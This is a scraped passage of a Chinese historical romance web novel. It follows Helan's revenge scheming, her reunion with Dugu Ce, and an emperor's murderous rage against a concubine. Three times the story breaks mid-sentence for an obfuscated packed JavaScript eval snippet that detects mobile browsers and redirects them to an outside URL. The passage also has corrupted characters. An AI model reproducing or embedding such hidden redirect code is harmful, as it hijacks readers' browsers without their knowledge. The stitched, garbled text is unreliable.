素商红了脸,羞怒地不肯再言。 环夫人翻了个白眼,语气颇不屑:“一面想着与世家大族联姻,一面又舍不下佳人,他还真是想得美。” “依他的心机城府,哪里会被美色所惑。崔家是大世族,连皇帝都要礼遇三分,能与他家结亲是多少皇子王孙梦寐以求的事,慕容泠能有这样的姻缘,还不得紧紧攥住。” 衣冠南渡后,留在北地的世族不算多,但仍有一呼百应的能力。打天下靠武力,治天下却得依赖人心。百姓流离无所,早就依附于豪族而活,因而这些豪族的心,便就是人心。前朝刘棼以为靠杀戮可以震慑,到头来世族没杀光,自己却先殒命。 慕容家在冀北时,就深谙其中的道理,用尽办法笼络,北地大族纷纷归附,才有了后来的一统北方。 “女郎还是别和他走得太近,他这个人……”素商想了想,斟酌了一个词,“阴晴不定的。” 贺兰眯着眼睛,享受着阳光落在脸颊上的温暖。寒风中依稀有了一丝温暖,这是春的气息,无色无味,却让人愉悦。 “这几日咱们将菜园收拾出来吧,种些花。”她懒懒说道。 “种些什么?”素商跃跃欲试,追问道。 “望江南。1” 环夫人以为她生了思乡之意,轻轻叹了口气:“望江南……也好,花虽不起眼,却难得能入药。” 贺兰皱眉,似乎想到了什么,又补了一句:“姊姊倒是提醒我了,干脆别种花,都种成草药算了。又好闻,又好看,说不定还能卖钱。姊姊是行家,这件事就交给你啦!” 她站起,理了理裙裾。 “我去趟市集,买些草药种子。” “奴随你一起去。”素商不放心,紧紧跟在她身后。 …… 四通市依旧热闹,往来行人比肩继踵,素商提着刚买的东西,累得气喘吁吁。 “女郎,咱还是回吧,已经买了许多了。” “好像的确买了不少……”贺兰看了看自己,又看了看素商,她们若是生了四手八爪,或许还是够用的,可现在确实拿不了。 “雇辆马车?”贺兰提议。 素商摇头,一脸认真:“太靡费了,奴拿的动,女郎把手里的也给我吧。” “哪里就穷困至此!”她无奈道。 “奴也是为女郎好,早点攒些钱,早点还清陈留王的债。”素商是个较真的人,听环夫人说陈留王用心不良,便笃定不能与他多接触,所以恨不得贺兰现在就和他两清。 贺兰被她逗笑了,从她手里硬抢过一个包袱,笑道:“我都听你的,那咱们就走回去?” 素商哪肯让她多拿,作势又要抢,两个人正笑着推搡抢夺,贺兰的动作却忽然顿住了。 素商不解,顺着她的目光看去。 不远处,一身紫色襕袍的中年男子正与人依依作别。仪容端雅,风度翩翩,可不正是贺兰的阿父萧侍郎。 贺兰怔怔望着那处,神色很复杂。 “女郎可要上前问安?”素商知道贺兰与家中发生的一切,所以询问时十分忐忑。萧侍郎这样对待亲生女儿,便是她一个仆婢都看不下去,何况多思善感如贺兰。 贺兰摇摇头,只静静站着,目送着他们离开,始终没有上前。 “素商,雇一辆马车先回,我还有些事。”等到萧恪背影远去,贺兰才忽然开口。她将东西一股脑都丢给素商,焦急地吩咐了一句。 素商还再愣神,却见她已匆匆离开。可是她却没有去追萧恪,反而寻着另一个方向而去。 …… 从四通市向北,又往东绕了一段路,道路越来越窄,显然已走到一处不知名的街巷里。那个高大的身影分明近在咫尺,可是转眼就消失在了眼前。 贺兰有些懊恼,怏怏转身,准备离开。 或许是看花眼了吧,他有许多大事要做,没道理又出现在洛城。 “阿荻在找我?”身后忽然响起那个熟悉的声音,她仓皇回头,只见那人又顶着一张刀疤丑脸,站在不远处。 夕阳斜斜照进这个偏窄小巷,不知哪处院落横斜出一枝梅花,疏影落在他的身上,他长身玉立,笑容潇洒。 贺兰想扭头就走,但心里存了太多疑惑,拖住了她的脚步。 大约猜到了她的所想,独孤策几步踏了过来,将她困在了方寸之间。 “阿荻,随我来,有什么相问的我都告诉你。”他的唇轻轻触在她的额上,然后不由分说地执起她的手便走。 他们的相处,似乎从来都是如此,他从不问她,以为他们永远心意相通。 不远处停着一辆马车,他抱起她塞进马车里,然后自己钻了进来。车门阖上,阻挡了寒气,双目却因为骤然的和暖,变得雾蒙蒙的。 “我告诉过你,我在法云寺,可你为何从没来找过我。”他一开口,先是抱怨,过分漂亮的眼睛里少了平日的锐利,多了几分委屈。 贺兰避开直视,低头绞着衣带:“我也是最近才得了机会出宫的。” 独孤策才不听她的狡辩,伸手去抓住了她的手:“我一直在等你……” 贺兰挣扎,抽出了自己的手:“大王事务繁忙,没必要浪费时间等我。” 她神色冰冷,如同她对所有陌生人的态度。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16783454|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>独孤策不得不承认,是他太过自负,他以为只要他肯用心,她总会回头,会原谅曾经自己不得已而犯下的错。可是她关于未来的所有计划,无论大小,其中都没有他。她没有爱,连怨恨都不肯有。她只是一步步走着自己的路,完全不需要他自作多情的帮助。 这个发现,让他颓然,让他无力。 “你追上来,是不是相问关于萧恪的事。”独孤策只好换了个策略。若是与她谈情她不喜欢,那就说事情吧,她布局已久,绝不会看着一些东西横生枝节。 贺兰果然抬头,今晚第一次认真地看他。 独孤策笑了,满意于她的反应。 “他是你阿父,你不该直接问他么?”他故意这样说。 贺兰冷哼:“大王对洛城的事了如指掌,难道不知道我与萧侍郎已经决裂?” “为何决裂?”他追问。 贺兰对于他的明知故问,生出了几分气恼:“因为他两次将我送到了慕容泓的床榻上……这样的回答,大王可满意?” 独孤策捉住了她的肩膀,琥珀色的眼睛深深望着她,声音又低又沉:“究竟是他将你送去,还是你将计就计去的呢?” 贺兰无法躲闪,他的眼神像是一种猛兽,让她心生恐惧。 背上出了一层细细的汗…… “你在胡说什么?”她的声音轻轻发抖。她以为自己掩饰的很好,但听在独孤策耳中,却是欲盖弥彰。 他都猜中了。 多傻的女郎,哪有人报仇将自己都赔进去的。 “虎毒不食子,萧恪再懦弱,也不会将自己的女儿送入虎口。除非是你自己故意为之,或者是你们父女联手演了一出戏给人看。”独孤策的手攥得太紧,贺兰的肩膀有些疼,可这样的疼痛却让她清醒了许多。 “大王有时间关心别人的家事,不如多关心关心自己。你频频出入洛城,究竟想做什么?宇文部覆灭以后,大王真就无事可做了?” 好一招以攻为守,她内心远比自己想得要强大的多。 “贺兰,你若是开口,你的仇我替你报。”独孤策不理会她咄咄逼人的娇蛮,伸手将她牢牢固定在自己的怀中。 她却倔强,始终没有放软姿态。 “从未听说仇恨还能假手于人,”她扬眉,双眸如水却结着冰凌,“何况,我何时说过自己有仇要报?我说过,我留在洛城,就是贪恋繁华,我不愿随你回那苦寒之地罢了。” 独孤策显然不为所动,低头闷闷笑了几声。 “这般倔强做什么,利用我难道不比利用别人更好些么,我不求你回报什么。” 看来他对自己的事情一清二楚,自己在他面前不过是个透明的存在。也对啊,依着他的手段和能力,想知道什么并不费太大气力。 男人说什么,总不能全信,不过有件事倒是不假,他是友非敌,仍有利用价值。 贺兰扬眸,收起了方才的凌厉尖锐,仿佛是挣扎后不得不妥协般:“大王若真对当年之事有愧,不妨帮我做一件事?” 她附耳低语了几句。 满怀香气,触手温软,一字一句落在耳中,他却只听了个大概。他被蛊惑着,怔怔看向近在咫尺的容颜,那是被夕阳流光镀金过的江南春色。 于是,他再难控制地吻上了她的唇。 “好,”他答允地干脆,“阿荻,就算你只是哄我,我也会甘之如饴,这是我欠你的。” 贺兰承受着这个预料之中的吻,脸颊微红,眼中却蓄起了泪。 1.望江南:一种草药 33. 三十三、怨别离 马车停在丰乐里时,残阳即将褪尽,一道胭脂色如一痕伤口,遗落在天际。新月初升,街上人烟寂寂,更不要说这处偏窄的小巷。 独孤策将贺兰从马车上抱了下来,温柔地替她理了理稍显凌乱的发髻,望着她的眼神依依难舍。 更鼓又响了一遍,坊中亮起了数盏灯,灯火落在他的眼眸上,闪烁着灼灼的光。 “大王回去吧,再晚些就该宵禁了。”贺兰垂下了眼眸,淡淡说道。 “呵,”独孤策干笑一声,“阿荻果然绝情,这么快就要赶我走了。” “不然呢?大王准备留下来过夜?”她捏了捏自己的掌心,强迫自己在这个人面前也依然可以保持镇定。 扭捏作态不是她的性子,她犯不着因为方才的亲密而存了什么不该有的愿景。 “也不是不可,你我本就是夫妻。”独孤策的语气十分自然。 贺兰有些不敢置信,当年那个沉默又腼腆的少年,如何就成了如今这般模样。 她戒备地望着对方,仿佛对面站着一个不怀好意的登徒子。 “你我早就不是夫妻了,大王自重。”贺兰退了几步,别扭地说道。 “我从未写过和离书,你更未被我休弃,如何就不算夫妻了。”独孤策又向前一步,虽然仍在笑,但眼里却有了危险的光。 纠缠这个问题,原本也没有太大的意义。 贺兰叹了口气:“大王莫要说笑,你我早就殊途。妾无福,高攀不上威震天下的代王殿下。大王自有大业要完成,在这里同一个无知妇人纠缠,只会惹人笑话。” 她总是这样,说起无情的话来,伤敌一万自损八千。 “这不是你该考虑的,阿荻,我愿出手帮你,不过是希望你早点了结此间事务,随我回抚远城去。” “大王就不肯多问一句,我愿不愿意回去?”一股无名的怒火灼烧在她的心田,她明明知道对方在威胁自己,也知道自己需要他的帮助,不能在此时撕破脸。 可是她控制不住。 或许在别人面前从不知什么是委屈,哪怕受了欺凌,也只想着复仇。但在这个人面前,她就是觉得委屈,为当年的事情,为他们的错过。 在复仇这条路上,他从出现,就是一个意外,然而这个意外曾经一度让她偏离初心,让她犹豫摇摆。 “我知你不愿回去,”独孤策叹息,不再咄咄逼人,高大的身躯在月色下显得颓然,“你还在怨怪当年的事。” “可是阿荻,若我当年要带你走,你会愿意随我走吗?” 琥珀色的眼睛里,仿佛倒映出贺兰部的岁月点滴。孤清的大帐,伶仃的烛火,灯下枯坐的伊人。 琵琶声缭绕在寂夜里,声声忧愁,切切如诉。 她故意装作哑巴,只是不想同他说话罢了,他岂会不知道。哪怕故作柔顺,眼睛里的骄傲和忌恨也骗不了人,她就像是一只受了伤的鸟雀,忿忿于自己受困在别人的笼中,尤其是这个困住她的,还是一个四处躲藏的落魄之人。 那时他给不了自己一个未来,又怎敢去允诺她什么。 见贺兰久久不言,独孤策的怨气愈发高涨。 “我回去找过你的,就在独孤部的局面刚刚稳定下来的时候,”他深深呼吸,觉得胸口凉浸浸的,“那时二叔残部仍未尽除,随时有反扑的可能,但我一想到我的妻室还在贺兰部,便不顾一切想要去找你,为此家家打了我二十鞭。” 他抓过贺兰的手,落在自己的胸口。 “阿荻,那时你却不知所踪了。他们说你不告而别,没有人知道你去了哪里……”独孤策苦笑,手在贺兰的手背上缓缓摩挲。 “既然如此无缘,早该放手不是更好。”贺兰再次开口时,声音微微颤抖。 独孤策将贺兰的手又拢在了掌心,那里温度灼热,但触感却很粗粝。 一个弯弓执戟的手,该去驰骋于草原,而不是在洛城寂静的夜中,流连于早该失去的温暖。 “我这个人念旧,只想讨还我失去的东□□孤策伸手,将她紧紧揽在了怀中。他的胸怀宽阔温暖,足以帮她抵挡寒风侵袭。 “阿荻,给我一个机会,我们重新来过。” “若是没有燕关重逢,失去了便就是失去了,你想必也不会想起……如今纠缠的,不过是内心的执念罢了。”贺兰心里默默地想,却没有说出口。 她觉得疲倦,也忽然贪恋起了这一瞬间的温暖。 纠结那些做什么,她昏了头了,待到大仇得报,世上也许都不再有她这个人了,所谓的旧情难舍,所谓的执念难消,都会随着她的离开烟消云散。 或许有来生,他们的相遇会体面一些,不会出现在彼此最落魄的时候。 她忽然伸出手,回抱住了独孤策。 “你会帮我的,对不对?”她哀哀说道,“只要你肯帮我,我会考虑随你回去。” 她的回应让独孤策欣喜异常,他捧着她的脸,郑重地问:“你说得,可当真?” 贺兰缓缓点头。 不知为什么,一股气梗在了喉口,激得她泪眼迷蒙。 她真有本事,骗起人来差点自己都信了。什么时候成了这个模样,为了达到目的,谎言随时能信手拈来。 他有朝一日知道真相,该会很生气吧。也罢,权当是对当年之事做个惩罚! 独孤策的吻又一次侵袭而来,伴随着身上清冽的沉水香气,缓缓将她带入一个靡靡滂滂的境地。他的唇柔软又温暖,他的气息缭乱又灼热…… 贺兰的手落在他宽阔的脊背上,徐徐地摩挲着。恍惚中生出一个奇怪的念头,这些年他定也受了不少苦吧,也不知这后背有多少不为人知的伤口。那张昳丽又倔强的脸在脑海中沉沉浮浮,恍若初见,却不似当年。 独孤策将贺兰抱了起来,抵在了墙上,他的唇缠绵地离开,很快就蜿蜒在了贺兰白腻的脖颈处。湿热的感觉,引得贺兰浑身剧烈的战栗起来。 忽然,独孤策的唇触到了一道伤疤,这道伤疤太过突兀,让他不由停了下来,怔怔去看。 月华下,她的肌肤莹白如雪,可心口处的伤疤却丑陋地蜿蜒在上面,像条蜈蚣。 他伸手去触,贺兰却像受了炮烙,倏然躲开。 她仓皇的遮掩着胸前的衣服,脸上红晕未散,眼中水雾茫茫。 “这是怎么弄的?你怎么受过这么严重的伤?”独孤策常年驰骋沙场,受伤无数,怎会看不出她胸口伤势当初有多凶险。 “你不要问……”贺兰仓皇落地,转过身去,“天色不早了,大王回去吧,我如今的身份是女官,若是被人看到,不知又该招惹多少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791431|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流言是非。” “阿荻,你瞒不住我。” 独孤策心疼,他隐隐猜到了什么,但他不敢想。贺兰说得对,他们分离了那么久,留给彼此的只有亏欠。 “我替你杀了他。”他咬着牙,切切道。 贺兰已经理好了衣襟,方才鲜红欲滴的唇此时苍白的半点血色都无。她摇头,神色里的哀戚已然消弭,转而变得坚毅。 “当初不堪受辱,自己想不开便刺了一刀。如今想来实在愚蠢,仇人还活着,我凭什么要死。我还要看着他们痛苦不堪,坠入无间地狱呢。” “大王答允我的事莫要忘了。”她对着独孤策,露出一个妍媚的笑。 独孤策还想说什么,可她已经转身绕进了一处院落。 月下树影斑驳,小院的门扉轻开后又缓缓掩上。独孤策负手立了良久,直到月下的影子被拉得很长很长,这才抬步走向了马车。 车夫帽檐低低掩着,见独孤走过来,沉默着弯腰行礼。 “大王可要回寺中?” 独孤策摆了摆手:“已然宵禁,这般招摇不妥,直接去崔府吧。” …… 贺兰回到院中时,素商正在院中给草药种子浇水,见她安然无恙,欣喜地跑了过来:“女郎无恙便好,可担心死奴婢了。” “担心也不去寻我,还能怡然浇水,素商你是越来越沉稳了。”贺兰揶揄道。 “她知道你去会情郎了,自然用不着担心。”环夫人从树上跃下,手里还拿着一瓶酒。她饮了不少,身上酒气沉沉,脸上带着不自然的红晕。 贺兰抬眼看了看那棵高大的梧桐,知环夫人已经将一切收入眼中,不由尴尬。 “你怎么又坐在树上,春寒料峭的,冻坏了怎么办?”贺兰从她手里夺过酒瓶,嗅了嗅,正是当年很流行的柳枝春。 “这么多年了,你也没换过口味,难得你还能在洛城寻到这种酒。”贺兰递还给环夫人,笑道。 环夫人并不打算让贺兰言语糊弄过去,直接道:“你不也没换过口味吗?这么多年了,喜欢的还是同一个人。” “我并不是……”贺兰刚要否定,忽然想到什么,愣了一下。 “你如何知道他是独孤策?”他分明易容成了那般模样,自己先前都没认出来。 环夫人睨着她,冷肃的脸上带了些嘲讽:“脸就算变了,身形也变不了。那样挺拔的身姿,整个洛阳都找不到几个,而且你是什么人,会由着一个不知道哪里冒出来的野男人轻易冒犯?” “冒犯?”素商凑过来,“他对女郎做了什么?” 贺兰羞赧,捂着脸摇头。 所幸环夫人并未明言,只是道:“你一个未出阁的小女娘,打听这些做什么,咱们萧侍中与情郎情深意浓,做什么都是正常的。” 素商更好奇了,半晌才反应过来,道:“代王殿下来了洛城?” 贺兰慌忙捂住了她的唇,比了一个噤声的手势。 “我需要他帮忙,切莫泄露他的行踪才好。” 环夫人冷冷地望着天上的月,叹道:“世上人心太复杂,还是天上的月亮最好看。” 说罢,她几步又回到了树上,找了一处枝丫卧了上去,手中美酒缓缓倾下,她仰首饮尽。柳枝春,怨别离,故人何处,烟水无凭据…… 34. 三十四、嗜血者 贺兰听到慕容泓被放出来的消息时,正在替皇后誊写诗集,虽然早有准备,但还是免不了手下一歪,好好的一篇就那样毁了。 她懊恼的叹了口气。 明影正坐在窗边,手摇着拨浪鼓逗弄阿桐。听她叹气,摆了摆手示意回禀事务的宫人退下,对贺兰笑道:“不过写错一个字,怎么还懊恼成这样。” 贺兰皱眉,将纸团了起来。负气般扔在了一旁。 明影宠她,平日里喜欢由着她的性子,甚至还喜欢看她使性子。“在我这里,你无需拘束,就当是和自家姊姊相处。”她曾这样说过。 明影实在太孤单。 偌大的晋宫,能说话的人都是寥寥,贺兰的出现于她而言,恰如雪中送炭。 “洛阳纸贵,揉了做什么。”明影调侃,“你也写了许久,想必劳累了吧,过来喝盏参茶。” 贺兰依言,搁笔走了过来,却没接她手里的参茶,反而拿走了拨浪鼓。 “殿下怕苦,不想喝参茶,就逼着我喝,我昨日都流鼻血了……”她一面逗着小公主,一面嗔道。 粉雕玉琢的小人儿,一笑起来简直能将人融化。 明影才不怪贺兰的放肆,只是担忧道:“我只是见你脸色不好,你总说我伤了气血,怎么你看起来比我还苍白。” 贺兰摸了摸自己的脸,心中一慌,逼着自己驱赶那些糟糕的情绪。 “你与渤海王认识?”明影忽然问道。 自从听到渤海王被赦出王府,恢复王爵的消息后,贺兰就变得很奇怪,一举一动都不自然。 “认识的。”贺兰如实说。 说假话多蠢,迟早露馅,真话假话混着说,才不会让人生疑。 “当初他奉皇命到贺兰部,无意中遇到了我,便开口向我义父讨要。我义父不敢得罪,直接将我献给他。我那时寄人篱下,哪有拒绝的权利,于是……” 贺兰说着说着,就落了泪。 明影见她如此,很是心疼,伸手轻轻揽住了她。 “阿芜,都过去了,今后你在本宫身边,没人能欺负你。”她很少这般自称,这样说不过是想让贺兰安心,让她明白她如今有不被欺负的底气。 贺兰起初只是啜泣,听她这样说,干脆埋首在她怀中呜呜地哭了起来。 “我当初就该一死了之的,可是死前得不到阿父的消息,我不甘心。” “后来好容易得到阿父的消息,来了洛城投奔他……他却不知从何处得了消息,说渤海王与我有旧,为了结交权贵,他便又将我送到了渤海王府中。” 明影皱眉:“你阿父……世上怎有这样的阿父!” “血浓于水,为之奈何!” 明影叹息,轻声哄劝:“你如今是上品女官,又是我亲近之人,便是他渤海王再有权势,也不敢再逼迫你分毫。” “他毕竟是陛下的长子,曾与陛下南征北战,纵使犯了再大的错,陛下也不会怪责。”贺兰仰着头,楚楚地望着明影,“阿芜不敢得罪,只盼着能不要再与他碰面,不然若他讨要,殿下怕也无法拒绝。” “你说什么胡话!”明影心疼地责备,“区区渤海王,还不敢在本宫面前放肆,若是他无礼,本宫一定让陛下严惩!” “殿下大恩,阿芜不知该如何报还。”贺兰跪倒,重重行礼。 明影一把将她扶起,拭着她脸上的泪痕:“说什么傻话,快别哭了,哭花了妆可就不好看了。” 贺兰噙着眼泪,依依看着明影,仿佛一个流离的小猫一般。 明影愈发心疼,心里辗转过一些念头,想了想却又没有对贺兰说出。 …… “何故又将渤海王放出?”晚膳时,明影开口问慕容桓。 她一贯不开口,总是用冷淡的态度拒绝者慕容桓的满腔热情,慕容桓已经习惯。她今夜却忽然主动延请他一起用膳,这让慕容桓欣喜万分,又心存疑虑。 慕容桓命宦者将一碗酥酪挪到明影面前,笑道:“听长御说,你近来很喜欢吃这个,天色还早,多用些也无妨。” 分明有心回避。 明影并不给他面子,直截了当:“渤海王杀妹,此事板上钉钉,陛下施以惩戒,怎好出尔反尔。” 慕容桓被扫了面子,面色不太好看。他微微睨了眼身旁的内侍,内侍立刻会意,将殿中宫人尽数带了出去。 “明影,你一向不关心这些的,今日却是怎么了?”慕容桓本不是什么和善之人,沉着脸说话时,看着十分可怖。 可明影却分毫不在意。生生死死经历了太多,看得早就淡了。若不是为了天下好不容易得来的安宁,她早就以死成全自己的名节,何必困在这里,委身于杀夫仇人。 “卢美人当时就死在我怀中,死前还让我替她主持公道,我既然答应了她,万无失信于人的道理。” “明影,你是谢家贵女,不该如寻常妇人般眼光短浅。清河枉死,卢氏撞柱,朕已将泓儿褫夺王位,关于府中半年之久,也算给了一个交代。” “两条人命呢……” 平日温婉的女子,倔起来竟是这般模样。 慕容桓忍着拂袖而去的冲动,压了压声音,缓声道:“后宫不得干政,涉及朝廷大事,朕不需要给你解释。” “陛下有心立长,断了其他诸王的念头,对吗?”明影不留情面,“立一个无德之人,如何能稳住朝局。” 一字一句,锋利如刀剑。果然是谢衍的女儿,一眼就能看出他的心思,可是这样不加掩饰地拆穿,却让他很不舒服。 “明影,妇人以恭顺为美,朕宠你太过,才让你今日说话全无分寸。” 他以为明影会认错,可谁知她却一句话也没说,只冷哼一声,转头离开,将他一个人扔在原地。 慕容桓一时进退两难,脸色阴沉万分。 “去琼琚殿。”他对外面侍立的宦者道。 恃宠生娇罢了,他便让她知道,若是没了他的宠爱,她这个皇后如何能做的安如泰山。 …… 琼琚殿的王美人极擅箜篌,又生得一双妙目,弹奏时眼波流转,说不出的娇柔妩媚。她曾经也受宠过一段日子,可随着皇后的进宫,也便和其他妃嫔一道失了圣心,如同入了冷宫一般。 今日见慕容桓来,心中且喜且悲,恨不得使劲浑身解数,来讨他的欢喜。于是箜篌声里也多了几分如泣如诉,缠绵悱恻。 慕容桓心情不悦,对着美人含羞凝睇,全然不为所动,只沉着一张脸不言不语,看着十分可怖。 王美人自然发现了这一点,猜也能猜到谁是始作俑者,于是走了过去,娇柔地将头枕在慕容桓的膝上。 乌发如云,轻轻散落。 慕容桓情动,五指成梳,缓缓地滑过她的发。 “陛下……”她甜腻腻地叫道,抬起一张鲜妍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797375|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明媚的脸,楚楚可怜地望着眼前的君王,忍着心底的恐惧,柔声问道,“是不是皇后殿下又惹您生气了?她怎么脾气那么倔,连陛下都敢拂逆。” 她自觉此言说得很巧妙。 皇后是个高傲自矜的性子。她自以为是南朝公主,从来目无下尘,对着所有人都是一副高高在上,不苟言笑的样子,包括皇帝都不例外。 一开始也许有新鲜感,久了难免沉闷无趣。皇帝夤夜舍了她前来,不正说明对她已然失去耐心了么。 慕容桓的眸光缓缓落下,冰冷而锐利,仿佛盯着猎物一般。 王美人慌了神,勉强挤出一个笑容,声音发着颤:“陛下别这样看妾,妾害怕。” 慕容桓的瞳孔缩了缩,仍旧没说话。 王美人大着胆子,牵住他的手,将其引到自己半裸的肩头。 “陛下……” 可下一瞬,那只大手便捏在了她纤细的脖颈上,不过微微发力,美人的一张脸便紫涨一片,可怖非常。 “谁给你的胆子,敢离间朕与皇后。”他又收紧了几分气力,手下的呼吸逐渐变得微弱,原先还在挣扎的躯体,很快就委顿而下,没有了动静。 慕容桓松开手,嫌恶地看着自己的指尖,心头的火气非但没有消散,反而愈发炽烈。他抽出佩剑,发泄般地在那个死不瞑目的美人身上乱砍一气,直到她面目全非,血肉模糊。 “来人!”他提着剑,对外面怒吼。 开始进来的是常侍陆安,他不过扫了一眼现场,立刻就猜出了什么,冷静地吩咐内侍去处理尸体。但琼琚殿的宫人何曾见过这些,有几个侍女受了惊吓,忍不住尖叫起来。 陆安无奈地瞬了瞬眼眸,果然就听到皇帝震怒地声音:“拖下去,全部打死!” 于是哭叫声更大,有几个宫人听闻此言,直接如泥一般瘫软在地,扶都扶不起来。 慕容桓衣袍沾满血迹,森然望着炼狱一般的琼琚殿,像是一头嗜血的兽。 忽然,他扔了剑,抬脚便往外走去。 屋外寒风阵阵,陆安来不及料理眼前的狼藉,拿了大氅就拔腿去追。杀戮过后的君王似乎于暗夜中获得了平静,等到出现在崇训殿时,又是一副端严沉稳的模样。 可是衣上血迹斑斑,无法遮掩。 “陛下可要换身衣裳?”陆安忐忑地问道。 慕容桓低头,思索了片刻,摇了摇头。 明影已经休息,帐外留了数盏灯,昏昏惨惨的。她辗转几下,忽然看到一道高大的人影投落在床帐之上,一动不动。 她猛然拥被而起。 “明影,是朕!” 帐幔被掀开,她尚未做出反应,已被拥入一个寒凉的怀抱中。浓厚的血腥气扑面而来,她仓皇地后退,却被抱得更紧。 “没有人敢说你半个不字,谁敢说,朕一定杀了她!”慕容桓切齿道,声音阴沉可怖。 明影听到自己的心剧烈的跳,一种不安地预感在心口蔓延。 “陛下……杀人了?”她试探着问道。 慕容桓不否认,重重点头:“朕将琼琚殿的人都杀了!” “明影,莫要再惹朕生气,朕都不知道会不会有一天连你也杀了……” 明影的身躯觳觫颤抖,说不上是惧怕,还是受了风寒。 “吓坏了吧,朕才舍不得呢,只要你乖乖的,朕会对你好,你要什么朕都给你!” 35. 三十五、上巳宴(1) 明影生了一场病,病愈后人忽然变得活泼起来,不再将自己闷在宫里,不时出去逛一逛,兴致来了还会带着宫人在九龙池边放风筝。 春光越发和暖,池边的木兰开得郁郁团团,远远看着仿佛积着千堆雪,浮着万片云。 贺兰蹦跳着从枝上摘下一朵,替明影簪在鬓边,她笑着伸手触了触,却没有摘下来。绝色美人在纯白花苞的衬托下,越发清丽绝俗,不染尘埃。 “阿芜也簪一朵吧。”明影放下书,斜斜靠在凭几上。清风阵阵,很快就吹乱了书页,她索性合上书,将贺兰方才摘下的几朵木兰压在上面。 贺兰笑着摇头:“我不喜欢木兰。” 她早没有了先前的拘谨多礼,在明影面前俨然一个骄纵的小妹妹。 “阿芜喜欢什么花呢?”明影问道。 贺兰托着腮,想了想:“也说不上来,不过总是要色彩明艳,锦绣成堆的才好。” 她才不在意俗不俗气,已经是花,注定也只开一季,那便是要轰轰烈烈,极尽娇艳才好。 明影浅笑着望着她,眼里有艳羡之意。 “阿芜此生,也必定会锦绣鲜妍。” 不知为何,贺兰总觉得她的语气有些伤感落寞,走上前在明影面前蹲下,依依望着她:“正说花呢,殿下怎么还感慨起来了。要是我此生能一直陪在殿下身边,肯定是顺遂如意的呢。有殿下护着,阿芜只管狐假虎威就好。” 明影抚了抚贺兰的发,但笑不语。 “过几日是上巳,陛下有意在昭阳台大办。宴集之上诸王亲贵,贤臣名士齐聚,到时你多留心些,若是看中了哪个,只管告诉我,我替你做主。”半晌后,明影忽然开口,说道。 她说得认真,贺兰听着却难过。 “我不嫁,要一直陪着殿下和公主。” “又说傻话,别把自己弄得和阿鸿一样,整日孤零零的,让人看着心疼。” 谁知说曹操,曹操就到。元内司远远走来,见二人的目光都落在自己身上,有些赧然:“殿下找我有事?” “无事,贺兰说宴席上让孤留心一下,看看有没有哪个才俊,可入阿鸿之眼。” 她很少有这般狭促的时候,贺兰佯装生气,却免不了加入,一道逗弄起元内司:“殿下说了,内司若是喜欢,直接赐婚,嫁妆一定给足。” 元鸿仪着了恼,跺脚焦急道:“殿下如何能听芜娘的,要嫁也是她嫁,听说自从她出宫置宅后,丰乐里成日都堵着不少男子,一个个都想目睹美人风姿呢。” “芜娘,”元内司故意拉长了声调,“这里面总有檀郎可得芳心吧……” 贺兰被她反将一军,气得作势要打她,明影看她们笑闹成一团,眯了眯眼眸,掩住了眼底的情绪。 …… 天禄阁的二楼,贺兰凭窗而立,远处柳枝发了新芽,远远望去绿茸茸一片。 “你近日去哪儿,让我好找。”身后脚步缓缓趋近,踩在木制的地板上,闷闷地响。 贺兰没有回头,只是伸手将窗扉轻轻阖上。 “你知道原因的……”她叹了口气,做出无奈地样子,“那个人总进宫。” 慕容泠绕到她身前,学着她的姿势,斜靠在窗边。他今日穿得倒是鲜焕,一件雪青色的襕袍将他衬得轩然霞举,俊美无俦。 慕容家的好容貌有口皆碑,哪怕是慕容泓都有出众的五官气质,可惜啊,再好看的皮囊也没法掩盖骨子里的衰败腐烂。 “这般看着孤做什么,”他笑得散漫,“莫不是有心于孤……” 贺兰白了他一眼。 “容貌尚可,只是这性子实在不讨喜。”慕容泠的眸光落在贺兰脸上,春光晴好,落了几分在他眼底,随即便荡漾出许多柔情。 “天禄阁僻静,但不代表无人前来,殿下有什么事情还是直说吧。” “要不是你躲着我皇兄不肯回府,我们何须这样遮遮掩掩的见面。”慕容泠笑道,依旧不紧不慢。 他的人就守在外面,莫说人,便是蚊子都飞不进来。 “不遮遮掩掩,殿下还准备直接登堂入室?”贺兰忽略他言语里似有若无的歧义,不耐道。 “钱都是本王出的。” “那殿下收回去吧,反正小臣也不打算再住了。”贺兰反唇相讥。 “也是,若是皇兄执意讨你回去,你也是拒绝不了的。”贺兰的气急败坏反而让慕容泠讨到了几分意趣,此时,他觉得心情分外愉悦。 不得不承认,生气时的贺兰比假模假样笑的时候,更加生动。 她瞪着眼睛,怒气显然到了顶点。 